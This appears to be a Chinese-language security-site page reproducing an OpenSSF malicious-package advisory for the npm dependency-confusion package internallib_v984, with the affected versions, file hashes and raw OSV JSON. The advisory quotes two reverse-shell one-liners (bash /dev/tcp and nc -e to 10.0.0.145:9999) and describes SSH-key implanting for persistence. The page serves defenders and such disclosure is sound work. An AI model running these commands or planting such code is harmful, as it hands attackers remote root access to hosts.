目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

internallib_v984

MAL-2026-5695
2026-06-15 23:54:12
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in internallib_v984 (npm)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
8
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npminternallib_v984*
npminternallib_v9841.0.1
npminternallib_v9841.0.2
npminternallib_v9841.0.3
npminternallib_v9841.0.4
npminternallib_v9841.0.5
npminternallib_v98499.0.0
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-15T23:54:12Z","published":"2026-06-12T15:28:17Z","schema_version":"1.7.4","id":"MAL-2026-5695","aliases":["GHSA-24jp-936m-6fg4"],"summary":"Malicious code in internallib_v984 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3c46879ad94169111411f91b210779628bb14a5d16843ec2bec42bf418affdf8)\nPackage exports a single `command()` function that, when invoked, performs three coordinated attacks against the host: (1) appends a hardcoded attacker-controlled SSH public key (`tr0n@DESKTOP-GVIA2J0`) to `authorized_keys` under `/root/.ssh`, `/home/gitlab-runner/.ssh`, and `/home/internal/.ssh`, granting persistent remote root and CI-runner login; (2) reads `/root/root.txt`, `/home/internal/user.txt`, and `/home/gitlab-runner/user.txt` and writes their contents to stdout; (3) opens a reverse shell to `10.0.0.145:9999` using three redundant methods (`bash -i >& /dev/tcp/10.0.0.145/9999 0>&1`, `nc -e /bin/bash 10.0.0.145 9999`, and a Node `net.Socket` connecting to the same address with `spawn('/bin/bash')`). The package has no README, no author or repository metadata, and the name `internallib_v984` is shaped to win a dependency-confusion resolution against an internal library of that name. There is no legitimate functionality — the entire module is offensive tooling. Any consumer that resolves this package from the public registry and calls its export is fully compromised: persistent SSH access via the implanted key, live interactive C2 via the reverse shell, and exfiltration of CTF-style flag files. The hardcoded RFC1918 destination (`10.0.0.145`) further indicates the attacker expects to land inside a corporate or lab network where that address is routable.\n\n## Source: ghsa-malware (a08961f26609280db99444778ce38929914922ef82a00497645032bf998ecc83)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"internallib_v984"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.2","1.0.3","1.0.4","99.0.0","1.0.5","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"c56e66a9a2949458b1ff04c051c756d7da43c20d8d7de439f5902becdb704360","tlsh":"bb21001014f2223d1a3311a6eb17b067322388136229db517acc831a0f89e9c57ef3d4"},{"path":"package.json","sha256":"4efa558a27a2536419deb72dd9e9e73c9a541ca938a3b0a6e8e3376604db6ccb","tlsh":"5fc092b149266d3760d547b41db1890a36a68d3f9406b4485b232a0c80efef368f930c"}],"package_integrity":[{"filename":"internallib_v984-1.0.2.tgz","hashes":{"sha1":"e03ded23d8cae7cc88ab9c723cf5cb688f8669fe","sha512_sri":"sha512-nLD1bGfeZmQk66wo48E0yMss13QtTa/lSunlSs5nyzYLJy9cU92yB1yqWeVbG3W29H9aq4JUn9SBQq7e5VnPGw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v984/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v984/v/1.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v984/v/1.0.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v984/v/99.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v984/v/1.0.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v984/v/1.0.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-24jp-936m-6fg4"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"093b5433386d2468e78e9896d1c8566d06f6f3ac6544dc90d4e6fdb9d967c6ed","import_time":"2026-06-12T16:32:16.195323356Z","id":"IN-MAL-2026-005784","modified_time":"2026-06-12T15:28:18Z","versions":["1.0.2"]},{"source":"amazon-inspector","sha256":"3c46879ad94169111411f91b210779628bb14a5d16843ec2bec42bf418affdf8","import_time":"2026-06-12T16:32:16.316167869Z","id":"IN-MAL-2026-005786","modified_time":"2026-06-12T15:28:20Z","versions":["1.0.3"]},{"source":"amazon-inspector","sha256":"5910f34f83567d2d5f48fc2c3966537cc4b313570d77696c743d116fc2b54f05","import_time":"2026-06-12T16:32:16.096173613Z","id":"IN-MAL-2026-005783","modified_time":"2026-06-12T15:28:18Z","versions":["1.0.4"]},{"source":"amazon-inspector","sha256":"7e1e3c1f3e148527111254b20a9cbe8d1a6f5d6abaadc0e45c35ca4b2febc431","import_time":"2026-06-12T16:32:16.257323353Z","id":"IN-MAL-2026-005785","modified_time":"2026-06-12T15:28:19Z","versions":["99.0.0"]},{"source":"amazon-inspector","sha256":"af6c7b94d4d81140d1e4d37ddf38ef298287d7e118ac0849311254c88ebb8916","import_time":"2026-06-12T16:32:16.039312325Z","id":"IN-MAL-2026-005782","modified_time":"2026-06-12T15:28:17Z","versions":["1.0.5"]},{"source":"amazon-inspector","sha256":"b62a6df4be478a792579b9f9741361e56e14fdd0d96f97305bf1fd4a0f076a06","import_time":"2026-06-12T16:32:16.35801051Z","id":"IN-MAL-2026-005787","modified_time":"2026-06-12T15:28:21Z","versions":["1.0.1"]},{"source":"ghsa-malware","sha256":"a08961f26609280db99444778ce38929914922ef82a00497645032bf998ecc83","import_time":"2026-06-15T23:52:17.781359039Z","id":"GHSA-24jp-936m-6fg4","modified_time":"2026-06-15T23:37:12Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0